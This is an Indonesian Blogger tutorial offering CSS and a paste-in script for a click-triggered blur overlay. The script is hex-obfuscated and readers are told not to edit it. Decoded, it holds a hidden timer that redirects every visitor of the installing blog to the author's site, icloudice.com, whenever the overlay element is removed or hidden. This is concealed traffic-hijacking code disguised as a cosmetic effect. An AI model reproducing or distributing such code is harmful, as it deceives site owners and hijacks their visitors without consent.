Hello sobat ICloudzer kali ini admin bakalan menjabarkan mengenai bagaimana caranya menampilkan efek blur saat di klik di blogger
Info: Oke sobat ICloudzer jika kamu sudah penasaran dengan pembahasan kita kali ini yuk langsung aja kita bahas bersama sama
Efek blur
Pada postingan sebelumnya juga admin telah membahas bagaimana caranya membuat efek blur di blogger kamu bisa pelajarinya lebih lanjut, efek blur tersebut selain simple dan menawan juga sangat cepat dan juga responsif,
Muncul Saat diklik
Sedangkan tampilan animasi preloader tersebut adalah tampilan tidak jelas alias blur yang muncul saat di klik dan bukan saat halaman artikel di refresh, yang di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog
Menggunakan CSS
Dalam membuat tampilan efek blur yang muncul saat diklik pada website ataupun pada blogger tersebut di buat menggunakan kode CSS saja tanpa di enskripsi menggunakan javascript, sehingga untuk mengedit tampilan preloader semisal mengubah warna bisa kamu lakukan secara mudah
Contoh Tampilan
Jika kamu penasaran dengan contoh tampilan efek blur yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini
Info: bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬
Cara pembuatan
Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek blur di sertai yang simple dan elegan di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini
Kode CSS
Langkah pertama seperti biasanya silahkan salin kode CSS di bawah ini kemudian letakkan di atas kode ]]></b:skin>
/* Blur effect by ICloudice.com */
.rahBlr{position:fixed;top:0;left:0;bottom:0;right:0;z-index:990;display:flex;background:rgba(255, 255, 255, 0.1);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px);justify-content:center;align-items:center;visibility:hidden;opacity:0}.rahBlr.r{visibility:visible;opacity:1}.rahBlr.vsbl{display:flex}.rahBlr.n{display:none}Info: Atau sobat bisa menggunakan kode <style> untuk meletakkan kode CSS di atas
Kode HTML/javascript
Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode </body>
<div class='rahBlr' id='rahBlr'>
</div>
<script>/*<![CDATA[*/
var _0xb1d2=["\x23\x72\x61\x68\x42\x6C\x72","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x76\x69\x62\x72\x61\x74\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","","\x68\x74\x6D\x6C","\x73\x74\x79\x6C\x65","\x61\x74\x74\x72","\x2E\x72\x61\x68\x42\x6C\x72","\x6C\x65\x6E\x67\x74\x68","\x2E\x72\x61\x68\x42\x6C\x72\x3A\x76\x69\x73\x69\x62\x6C\x65","\x68\x72\x65\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x63\x6C\x6F\x75\x64\x69\x63\x65\x2E\x63\x6F\x6D","\x72\x65\x61\x64\x79","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x73\x72\x63","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x64\x6E\x6A\x73\x2E\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x6C\x69\x62\x73\x2F\x6A\x71\x75\x65\x72\x79\x2F\x33\x2E\x35\x2E\x31\x2F\x6A\x71\x75\x65\x72\x79\x2E\x6D\x69\x6E\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x6C\x6F\x61\x64","\x61\x74\x74\x61\x63\x68\x45\x76\x65\x6E\x74","\x6F\x6E\x6C\x6F\x61\x64"];function rahBlr(){var rahBlr=document[_0xb1d2[1]](_0xb1d2[0]);rahBlr[_0xb1d2[4]][_0xb1d2[3]](_0xb1d2[2]);document[_0xb1d2[8]](_0xb1d2[5],function(){setTimeout(function(){rahBlr[_0xb1d2[4]][_0xb1d2[6]](_0xb1d2[2])},2000);if(_0xb1d2[7] in navigator){navigator[_0xb1d2[7]]([100,75,100,75,500])}})}$(document)[_0xb1d2[19]](function(){$(_0xb1d2[13])[_0xb1d2[12]](_0xb1d2[11],_0xb1d2[9])[_0xb1d2[10]](_0xb1d2[9]);setInterval(function(){if(!$(_0xb1d2[15])[_0xb1d2[14]]){window[_0xb1d2[17]][_0xb1d2[16]]= _0xb1d2[18]}},3000)});function rahscptIm(){var _0x10d4x3=document[_0xb1d2[21]](_0xb1d2[20]);_0x10d4x3[_0xb1d2[22]]= _0xb1d2[23],document[_0xb1d2[25]][_0xb1d2[24]](_0x10d4x3)}window[_0xb1d2[8]]?window[_0xb1d2[8]](_0xb1d2[26],rahscptIm,!1):window[_0xb1d2[27]]?window[_0xb1d2[27]](_0xb1d2[28],rahscptIm):window[_0xb1d2[28]]= rahscptIm
/*]]>*/</script>Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan dari efek blur nya tidak berfungsi 🤐
Cara penggunaan
Untuk memfungsikan efek blur tersebut silahkan gunakan fungsi onclick='rahBlr()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini
<div class=''tombol' onclick='rahBlr()'>
<!-- svg -->
</div>Info: Tambahkan sendiri kode onclick='rahBlr()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya
